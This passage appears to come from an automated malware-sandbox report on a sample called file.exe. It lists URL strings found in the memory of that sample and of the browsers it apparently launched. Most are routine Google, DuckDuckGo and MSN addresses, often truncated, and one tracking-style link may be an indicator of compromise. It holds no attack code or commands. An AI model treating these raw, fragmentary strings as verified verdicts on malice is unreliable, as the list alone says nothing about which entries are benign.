Source: chrome.exe, 00000002.00000002.2311471047.00007AA40050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324411503.00007AA400704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2341918686.00007AA401044000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000002.00000002.2311471047.00007AA40050C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actionsCreate
Source: file.exe, file.exe, 00000000.00000002.2547186072.000000006CB01000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000003.2053623666.0000000004ECB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2517335011.0000000000DFC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000002.00000002.2308819677.00007AA400310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000002.00000002.2308819677.00007AA400310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000002.00000002.2308819677.00007AA400310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.c
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000002.00000002.2308819677.00007AA400310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.go
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: manifest.json0.9.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000002.00000002.2311150516.00007AA4004A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/2
Source: chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000002.00000003.2166088118.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166301495.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169151167.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166461382.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2352149833.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2334452352.00007AA400AA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000002.00000003.2166088118.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166301495.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169151167.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166461382.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2352149833.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2ation.Result
Source: chrome.exe, 00000002.00000003.2166088118.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166301495.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2169151167.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166461382.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2352149833.00007AA4014C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2d
Source: chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000002.00000002.2340297805.00007AA400EC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2343723087.00007AA40119C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2312778435.00007AA40060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000002.00000002.2343723087.00007AA40119C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_defaultz
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000002.00000002.2325168905.00007AA4007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: file.exe, 00000000.00000003.2244830382.0000000000C20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_468.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_468.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_468.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_468.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/#
Source: chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/&
Source: chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/-
Source: chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2133636714.000026580071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2172397566.0000265800974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/7
Source: chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/:
Source: chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Z
Source: chrome.exe, 00000002.00000003.2173717396.00007AA401864000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173575322.00007AA401850000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173671958.00007AA401860000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2250452220.0000265800920000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2173757063.00007AA40186C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2133636714.000026580071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2172397566.0000265800974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2256039192.00007AA400044000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000002.2339421784.00000854003A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000002.00000002.2295892982.00007AA4001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000002.00000002.2312836461.00007AA40061C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: file.exe, 00000000.00000002.2541883824.0000000023853000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000007.00000003.2264219679.000008540037C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000002.00000002.2325248874.00007AA4007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325168905.00007AA4007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2311229190.00007AA4004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000002.00000002.2325248874.00007AA4007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325168905.00007AA4007A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2311229190.00007AA4004D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335506529.00007AA400BAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000002.00000003.2171386555.00007AA401CDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000002.00000002.2250385805.0000265800904000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2249256806.0000265800238000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325248874.00007AA4007C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2171496994.00007AA401CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2171436731.00007AA401CE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2171386555.00007AA401CDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000002.00000002.2250385805.0000265800904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard&X
Source: chrome.exe, 00000002.00000002.2249256806.0000265800238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard&X$
Source: chrome.exe, 00000002.00000003.2133636714.000026580071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2172397566.0000265800974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000002.00000003.2133636714.000026580071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2172397566.0000265800974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000002.00000002.2250385805.0000265800904000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000002.00000003.2171496994.00007AA401CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2171436731.00007AA401CE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2171386555.00007AA401CDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardz
Source: chrome.exe, 00000002.00000003.2172397566.0000265800974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000002.00000002.2310524011.00007AA40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000002.00000003.2148295796.00007AA40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148090446.00007AA401104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000002.00000003.2148295796.00007AA40120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2148090446.00007AA401104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2147866964.00007AA400430000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000002.00000003.2133636714.000026580071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2172397566.0000265800974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000002.00000003.2134367795.000026580087C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000002.00000003.2172397566.0000265800974000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000002.00000002.2250452220.0000265800920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000002.00000002.2250452220.0000265800920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918=
Source: chrome.exe, 00000002.00000002.2250353295.00002658008D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000002.00000002.2297028224.00007AA40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000002.00000002.2335889876.00007AA400C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/
Source: chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2339667432.00007AA400E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000002.00000002.2310524011.00007AA40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2166878050.00007AA401658000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000002.00000002.2343723087.00007AA40119C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2339667432.00007AA400E48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2255739491.00007AA400013000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2333721319.00007AA400A3C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000002.00000002.2343723087.00007AA40119C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webappmldooml
Source: chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2339667432.00007AA400E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000002.00000002.2324977041.00007AA400790000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2339667432.00007AA400E48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2335815127.00007AA400C18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2310246379.00007AA4003A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: msedge.exe, 00000007.00000002.2339421784.00000854003A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: file.exe, 00000000.00000002.2516211934.0000000000BE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://msn.com
Source: msedge.exe, 00000007.00000002.2339421784.00000854003A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: chrome.exe, 00000002.00000002.2311471047.00007AA40050C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2324411503.00007AA400704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2341918686.00007AA401044000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000002.00000002.2312907378.00007AA40062C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2311150516.00007AA4004A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325168905.00007AA4007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000002.00000002.2312907378.00007AA40062C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000002.00000002.2341708421.00007AA401018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000002.00000003.2170961042.00007AA40173C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000002.00000002.2323188809.00007AA400694000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2325168905.00007AA4007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000002.00000003.2145669546.00007AA400FA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2308367081.00007AA4002F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2331780672.00007AA4009C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: file.exe, 00000000.00000003.2418728501.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418238388.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2479024784.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418812590.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418362966.000000001D5E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418513551.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2409207631.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418680179.000000001D5F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2479245508.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2417533867.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418099056.000000001D5F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2489180217.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2489476479.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2489731270.000000001D5E0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2489677891.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538226630.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538147993.000000001D5E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMin
Source: file.exe, 00000000.00000003.2418728501.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418238388.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2479024784.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418812590.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418513551.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2409207631.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418680179.000000001D5F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2479245508.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2417533867.000000001D5FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2418099056.000000001D5F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2489180217.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2489476479.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2489677891.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538226630.000000001D5FB000.00000004.00000020.00020000.00000000.sdmp, 000003.log9.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13374655161808921.9.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
